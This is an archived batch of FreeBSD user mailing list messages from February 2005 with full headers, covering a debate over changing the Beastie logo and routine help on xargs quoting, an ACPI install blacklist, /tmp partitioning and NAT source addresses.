NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:56:06 -0000 At 8:00 AM -0500 2/11/05, Bart Silverstrim wrote: >Just to sum up things as I understand it... > >People want to change the logo from Beastie to something else >because Beastie isn't professional enough, so some committers >decided to hold a contest for a new logo? We thought it would be nice, after fifteen years, to see if our much-larger user base has any interesting ideas for a new logo. We thought it would be nice to reward people with a minor amount of money as a prize. >Out of curiosity, is Beastie so terrible, a logo, that a business >would be stupid enough to base their server decisions based on it? Businesses are stupid. People who demand dedicated allegiance to one single cartoon image are just as stupid. Both are facts, and neither is a late-breaking news item. >Someone said people change logos all the time. That's flat out >wrong. When a company spends mucho dinero on marketing their >logo, they don't just flip around and decide to change their >logo that they spent so much money and time getting mindshare >with. Have any examples of logos that have constantly changed? We do constantly see companies change their logo. That is not the same thing as saying any *one* company is constantly changing *its* logo. Apple has changed its logo. AT&T changed its logo several times. GE recently changed its one-line motto. At one point, McDonalds rebuilt every one of their stores from the old "golden-arches" look to the newer "family restaurant" look -- and that cost a hell of a lot more than any logo change. Right now we're working with an image that was picked 15 years ago for a very small open-source project. We now claim to be several orders of magnitude larger than that. I doubt there is *any* company who has stuck with it's original logo as it went from "five guys running a hobby" to "millions of users". >Since when did FreeBSD, a project always driven by volunteers and >not by commercial matters, suddenly gain a marketing department >that is trying to steer FreeBSD into the business sector? Is >FreeBSD starting to have marketing dictate technology instead of >technology dictate marketing? Some of those volunteers would like to see a new logo. Others would not. The vast majority probably do not care at all. Somehow the ones who like the present logo seem to think they can simply dismiss all comments from the other volunteers who would like a new logo, as if the work done by THOSE volunteers is somehow irrelevant. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:58:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CF05516A4E1 for ; Fri, 11 Feb 2005 20:58:53 +0000 (GMT) Received: from mail.adventuras.no (mail.adventuras.no [194.63.250.215]) by mx1.FreeBSD.org (Postfix) with ESMTP id A092843D5C for ; Fri, 11 Feb 2005 20:58:52 +0000 (GMT) (envelope-from lars+lister.freebsd@adventuras.no) Received: from mail.adventuras.no (seven [127.0.0.1]) by mail.adventuras.no (8.12.10/8.12.10) with ESMTP id j1BKwSD6018994 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 11 Feb 2005 21:58:28 +0100 Received: (from apache@localhost) by mail.adventuras.no (8.12.10/8.12.10/Submit) id j1BKwST5018992; Fri, 11 Feb 2005 21:58:28 +0100 Received: from 213.236.228.129 (SquirrelMail authenticated user lars) by mail.adventuras.no with HTTP; Fri, 11 Feb 2005 21:58:28 +0100 (CET) Message-ID: <56496.213.236.228.129.1108155508.squirrel@mail.adventuras.no> In-Reply-To: References: Date: Fri, 11 Feb 2005 21:58:28 +0100 (CET) From: "Lars Kristiansen" To: freebsd-questions@freebsd.org User-Agent: SquirrelMail/1.4.4-1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Adventuras: du kan filtrere etter AdvSpamScore over 5-10 X-Adventuras-SpamCheck: not spam, SpamAssassin (score=-5.399, required 7, autolearn=not spam, ALL_TRUSTED -3.30, AWL 0.50, BAYES_00 -2.60) X-MailScanner-From: lars+lister.freebsd@adventuras.no Subject: Re: ye ol xargs unterminated quote error, thought it was gone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:58:54 -0000 > when I use the usual: > > find . -type f -print | xargs grep -sl foobar Have you tried: find . -type f -print0 | xargs -0 grep -sl foobar > > i get; > > xargs unterminated quote error and have to use: > > find . -type f -print | sed 's/^\(.*\)$//'\1'/' | xargs grep -sl foobar > > to quote the output from find. anyone know a more elegant solution? > > thoughts? > > ken; > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:59:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6DB4516A4CE for ; Fri, 11 Feb 2005 20:59:58 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id F3BFD43D58 for ; Fri, 11 Feb 2005 20:59:57 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1BKxoRY069555; Fri, 11 Feb 2005 14:59:50 -0600 (CST) (envelope-from dan) Date: Fri, 11 Feb 2005 14:59:50 -0600 From: Dan Nelson To: Atle Veka Message-ID: <20050211205950.GA68406@dan.emsphone.com> References: <20050211122205.X12600@fincher.users.accretive-networks.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050211122205.X12600@fincher.users.accretive-networks.net> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: 5.3-RELEASE: Where is the blacklist referenced on the install disks? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:59:58 -0000 In the last episode (Feb 11), Atle Veka said: > ASUS p2b-d motherboards are blacklisted on 5.3-RELEASE and refuse to > install. Where is this blacklist located, I need to manually remove > that block? > > The ASUS p2b-d motherboards are quite common, we have probably 100 or > so left of them and have at one point had over 400. Seems really > strange to me to exclude a popular motherboard on acpi issues... The blacklist is on BIOS versions that have broken ACPI support. All it does it disable the ACPI module. Your system should still boot fine without it. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:03:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 06E1416A4CE for ; Fri, 11 Feb 2005 21:03:26 +0000 (GMT) Received: from fincher.users.accretive-networks.net (fincher.users.accretive-networks.net [216.127.44.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id C67ED43D1F for ; Fri, 11 Feb 2005 21:03:25 +0000 (GMT) (envelope-from atlev@flyingcroc.net) Received: from fincher.users.accretive-networks.net (localhost [127.0.0.1]) j1BL3MJj064871; Fri, 11 Feb 2005 13:03:22 -0800 (PST) (envelope-from atlev@flyingcroc.net) Received: from localhost (atlev@localhost)ESMTP id j1BL3MKR064868; Fri, 11 Feb 2005 13:03:22 -0800 (PST) (envelope-from atlev@flyingcroc.net) X-Authentication-Warning: fincher.users.accretive-networks.net: atlev owned process doing -bs Date: Fri, 11 Feb 2005 13:03:22 -0800 (PST) From: Atle Veka X-X-Sender: atlev@fincher.users.accretive-networks.net To: Dan Nelson In-Reply-To: <20050211205950.GA68406@dan.emsphone.com> Message-ID: <20050211130221.M12600@fincher.users.accretive-networks.net> References: <20050211122205.X12600@fincher.users.accretive-networks.net> <20050211205950.GA68406@dan.emsphone.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII cc: freebsd-questions@freebsd.org Subject: Re: 5.3-RELEASE: Where is the blacklist referenced on the install disks? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:03:26 -0000 On Fri, 11 Feb 2005, Dan Nelson wrote: > In the last episode (Feb 11), Atle Veka said: > > ASUS p2b-d motherboards are blacklisted on 5.3-RELEASE and refuse to > > install. Where is this blacklist located, I need to manually remove > > that block? > > > > The ASUS p2b-d motherboards are quite common, we have probably 100 or > > so left of them and have at one point had over 400. Seems really > > strange to me to exclude a popular motherboard on acpi issues... > > The blacklist is on BIOS versions that have broken ACPI support. All > it does it disable the ACPI module. Your system should still boot > fine without it. This is during a new install and after loading all floppies it actually halts the boot process and notifies of an automatic reboot [in 15 seconds]. Atle From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:09:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6576F16A4CE for ; Fri, 11 Feb 2005 21:09:05 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0768943D3F for ; Fri, 11 Feb 2005 21:09:05 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1BL92wk002542; Fri, 11 Feb 2005 15:09:02 -0600 (CST) (envelope-from dan) Date: Fri, 11 Feb 2005 15:09:02 -0600 From: Dan Nelson To: Atle Veka Message-ID: <20050211210902.GB68406@dan.emsphone.com> References: <20050211122205.X12600@fincher.users.accretive-networks.net> <20050211205950.GA68406@dan.emsphone.com> <20050211130221.M12600@fincher.users.accretive-networks.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050211130221.M12600@fincher.users.accretive-networks.net> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: 5.3-RELEASE: Where is the blacklist referenced on the install disks? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:09:05 -0000 In the last episode (Feb 11), Atle Veka said: > On Fri, 11 Feb 2005, Dan Nelson wrote: > > In the last episode (Feb 11), Atle Veka said: > > > ASUS p2b-d motherboards are blacklisted on 5.3-RELEASE and refuse > > > to install. Where is this blacklist located, I need to manually > > > remove that block? > > > > > > The ASUS p2b-d motherboards are quite common, we have probably > > > 100 or so left of them and have at one point had over 400. Seems > > > really strange to me to exclude a popular motherboard on acpi > > > issues... > > > > The blacklist is on BIOS versions that have broken ACPI support. > > All it does it disable the ACPI module. Your system should still > > boot fine without it. > > This is during a new install and after loading all floppies it > actually halts the boot process and notifies of an automatic reboot > [in 15 seconds]. Paste in the few lines before the automatic reboot message. You can also force the acpi module to load even if it was blacklisted by entering set hint.acpi.0.disabled=0 at the loader prompt before the kernel boots. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:14:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F330E16A4CE for ; Fri, 11 Feb 2005 21:14:06 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id BE29E43D41 for ; Fri, 11 Feb 2005 21:14:06 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Czi72-0009WN-AU; Fri, 11 Feb 2005 14:14:04 -0700 In-Reply-To: <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 14:13:56 -0700 To: Bart Silverstrim X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:14:07 -0000 On Feb 11, 2005, at 6:00 AM, Bart Silverstrim wrote: > Since when did FreeBSD, a project always driven by volunteers and not > by commercial matters, suddenly gain a marketing department that is > trying to steer FreeBSD into the business sector? Is FreeBSD starting > to have marketing dictate technology instead of technology dictate > marketing? Sorry, but this does not make sense. FreeBSD is driven by commercial matters. Many of the people that work on it are paid to work on it by their employers, who are using it commercially. FreeBSD will wither away if it does not continue to receive extensive commercial support like Linux gets. When is a logo "technology"? No one is talking about a logo steering technology or technology steering a logo. The sentence "FreeBSD starting to have marketing dictate technology instead of technology dictate marketing?" is irrelevant to this discussion. You can have the best technology in the world, but if no one uses it, who cares? Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:14:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5A0A916A4CE for ; Fri, 11 Feb 2005 21:14:07 +0000 (GMT) Received: from ms-smtp-03-eri0.socal.rr.com (ms-smtp-03-qfe0.socal.rr.com [66.75.162.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id F3F8243D31 for ; Fri, 11 Feb 2005 21:14:06 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1BLE0uY024465; Fri, 11 Feb 2005 13:14:01 -0800 (PST) From: Robert Marella To: Bart Silverstrim In-Reply-To: <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> Content-Type: text/plain Date: Fri, 11 Feb 2005 11:17:20 -1000 Message-Id: <1108156640.44938.3.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:14:07 -0000 On Fri, 2005-02-11 at 08:00 -0500, Bart Silverstrim wrote: > > Someone said people change logos all the time. That's flat out wrong. > When a company spends mucho dinero on marketing their logo, they don't > just flip around and decide to change their logo that they spent so > much money and time getting mindshare with. Have any examples of logos > that have constantly changed? > http://www.bellsystemmemorial.com/bell_logos.html From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:19:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 076AB16A4CE for ; Fri, 11 Feb 2005 21:19:51 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 200B643D1D for ; Fri, 11 Feb 2005 21:19:50 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 11 Feb 2005 21:19:49 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp028) with SMTP; 11 Feb 2005 22:19:49 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: Chad Morland , freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 22:14:19 +0100 X-Mailer: KMail [version 1.3.2] References: <8ca932905021112136ad00369@mail.gmail.com> In-Reply-To: <8ca932905021112136ad00369@mail.gmail.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050211211950.200B643D1D@mx1.FreeBSD.org> Subject: Re: /tmp on same partition as / X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:19:51 -0000 well, its ok to have /tmp on the same partition as /, as long as other security measurements work, for example a tripwire setup and logging user actions of any kind, also having an overview over the logs. as long as these work, and you take care whats going on on the box, it does not really matter where /tmp resides. On Friday 11 February 2005 21:13, Chad Morland wrote: > I'm setting up a mail server at the momment, one of the things that I > forgot to do was create /tmp as a separate partiton (/ = 2gb). There > will be no user logins to the machine aside from admins and the only > thing that it will run is qmail acting as a smarthost (vanilla qmail, > no amavis or anything of the sort.) > > In your opinion is having /tmp on the same partition as / really THAT > bad in this case? I'm just wondering cause some people have mentioned > that its a major security risk. Really, I don't think it is for what > this box is doing. > > -CM > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:27:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60EC816A4D0 for ; Fri, 11 Feb 2005 21:27:23 +0000 (GMT) Received: from hyperreal.org (taz3.hyperreal.org [209.237.226.90]) by mx1.FreeBSD.org (Postfix) with SMTP id 2656943D46 for ; Fri, 11 Feb 2005 21:27:23 +0000 (GMT) (envelope-from mike@hyperreal.org) Received: (qmail 84737 invoked by uid 1001); 11 Feb 2005 21:27:25 -0000 Message-ID: <20050211212725.84736.qmail@hyperreal.org> In-Reply-To: <18467378.20050211080756@wanadoo.fr> To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 13:27:24 -0800 (PST) Sender: mike@hyperreal.org From: Mike Brown X-Whoa: whoa. X-Mailer: ELM [version 2.4ME+ PL119 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Subject: Beastie logo *is* a li'l devil, ya gotta admit X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:27:23 -0000 Anthony Atkielski wrote: > Bob Johnson writes: > > > I work in an office largely populated by born-again Christians, and some > > of them very definitely object to the BSD logo. Even after I explained > > the "daemon" thing, they still didn't think BSD should use "The Devil" > > as its logo. > > It doesn't help that some people use "devil" and "daemon" > interchangeably. Daemons were originally morally neutral entities; the > Devil (or devils in generally) have been mostly evil creatures > throughout history. Of course, Judeo-Christian tradition turned daemons > into fundamentally evil creatures (instead of just metaphysical > helpers), too. All of these people who try to rationalize that daemons are actually benign, helpful creatures and that it was the nasty bad religious nuts who associated them with malevolence seem to be overlooking the fact that the mascot's red color, pitchfork, spiked tail, and pointy ears are hallmarks of the modern/"wrong" interpretation of what a daemon is: a "li'l devil", so to speak. It seems a bit absurd to suggest that the original artists were trying to represent the metaphysical helpers. The mascot is clearly a toned-down, cartoony rendition of the fundamentally-evil end of the supernatural, like Casper the Friendly Ghost, or the kind of devil that sits on Jerry the Mouse's shoulder and suggests mischievous things to do to Tom the Cat. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:27:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 15EA216A4CE for ; Fri, 11 Feb 2005 21:27:35 +0000 (GMT) Received: from smtpx.spintech.ro (smtpx.spintech.ro [81.181.24.231]) by mx1.FreeBSD.org (Postfix) with ESMTP id B199943D1F for ; Fri, 11 Feb 2005 21:27:34 +0000 (GMT) (envelope-from aanton@spintech.ro) Received: from smtpx.spintech.ro (antivirus [15.0.0.1]) by smtpx.spintech.ro (Postfix) with ESMTP id DFDF03A510; Fri, 11 Feb 2005 20:09:19 +0000 (UTC) Received: from [10.0.0.2] (beastie [10.0.0.2]) by smtpx.spintech.ro (Postfix) with ESMTP id ABEB53A4F7; Fri, 11 Feb 2005 20:09:19 +0000 (UTC) Message-ID: <420D2348.4020408@spintech.ro> Date: Fri, 11 Feb 2005 23:27:36 +0200 From: Alin-Adrian Anton User-Agent: Mozilla Thunderbird 1.0 (X11/20041229) X-Accept-Language: en-us, en MIME-Version: 1.0 To: dgw@liwest.at References: <200502112206.43267.dgw@liwest.at> In-Reply-To: <200502112206.43267.dgw@liwest.at> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Open-Source: www.opensource.org cc: questions@freebsd.org Subject: Re: How do I set the source address on a multi-homed host? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:27:35 -0000 Daniela wrote: > I have two NICs (one inside and one outside interface) with NAT activated. The > problem is that every time I establish a connection with a machine on my LAN, > it uses the address of the outside interface as the source of the packets, > which creates problems with my firewall. How do I tell my machine to use the > other address whenever I connect to a local machine? > > Daniela > Hi Daniela, Can you please be more specific? You mean this happens when you are connecting from inside intranet to some other point inside intranet? I don't understand your topology. Intranet should have the same class network, C-class for instance /24, and the gateway should not see the packages from between 2 hosts in the same LAN. The switch/hub would see them only. Can you please be more explicit of what's your setup, gateway rules, firewall, and what you are trying to do? PS: if you are connecting from outside to inside, through the gateway which does nat, this sounds like bad firewall/nat rules. Yours, -- Alin-Adrian Anton GPG keyID 0x183087BA (B129 E8F4 7B34 15A9 0785 2F7C 5823 ABA0 1830 87BA) gpg --keyserver pgp.mit.edu --recv-keys 0x183087BA "It is dangerous to be right when the government is wrong." - Voltaire From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:29:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 68C3E16A4CE for ; Fri, 11 Feb 2005 21:29:43 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0F6CB43D2D for ; Fri, 11 Feb 2005 21:29:43 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so357966rnf for ; Fri, 11 Feb 2005 13:29:42 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=fSos0TmMrLvqbRda5MybAeNc9YxE9G960xvcIEAbjDH/dJfODgWXR5GHZ9uIfjj/0Zwmcqg7Z5CYzFx5ipjvhb7LyvTT4JDIAKw6kjp9aAY6Axffb+hWC7PJUoZs7u0gt7HZPqg8aKBb8l5o2CDeTa7nlbL7W7GRkB0un7A00go= Received: by 10.38.82.78 with SMTP id f78mr152995rnb; Fri, 11 Feb 2005 13:29:41 -0800 (PST) Received: by 10.38.101.19 with HTTP; Fri, 11 Feb 2005 13:29:41 -0800 (PST) Message-ID: Date: Fri, 11 Feb 2005 15:29:41 -0600 From: Eric Kjeldergaard To: Robert Marella In-Reply-To: <1108156640.44938.3.camel@p4> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <1108156640.44938.3.camel@p4> cc: freebsd-questions@freebsd.org cc: Bart Silverstrim Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:29:43 -0000 > http://www.bellsystemmemorial.com/bell_logos.html I'm not sure that 6 times in 110 years is "constantly changed" -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:34:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4EF2916A4CE for ; Fri, 11 Feb 2005 21:34:44 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7284843D49 for ; Fri, 11 Feb 2005 21:34:43 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CziQc-000GXT-L6; Fri, 11 Feb 2005 16:34:18 -0500 Message-ID: <420D24EE.40606@tvog.net> Date: Fri, 11 Feb 2005 16:34:38 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Chad Leigh -- Shire.Net LLC" References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: cc: freebsd-questions@freebsd.org cc: Bart Silverstrim Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:34:44 -0000 Chad Leigh -- Shire.Net LLC wrote: > > On Feb 11, 2005, at 6:00 AM, Bart Silverstrim wrote: > >> Since when did FreeBSD, a project always driven by volunteers and not >> by commercial matters, suddenly gain a marketing department that is >> trying to steer FreeBSD into the business sector? Is FreeBSD >> starting to have marketing dictate technology instead of technology >> dictate marketing? > > > Sorry, but this does not make sense. > > FreeBSD is driven by commercial matters. Many of the people that work > on it are paid to work on it by their employers, who are using it > commercially. FreeBSD will wither away if it does not continue to > receive extensive commercial support like Linux gets. I wouldnt say many, there are few commiters who are actually paid to work on it, most commiters/developers do it as a hobby. __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:35:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4D78916A4CF for ; Fri, 11 Feb 2005 21:35:17 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id C8E8B43D2F for ; Fri, 11 Feb 2005 21:35:16 +0000 (GMT) (envelope-from cmorland@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so1547475wri for ; Fri, 11 Feb 2005 13:35:16 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; 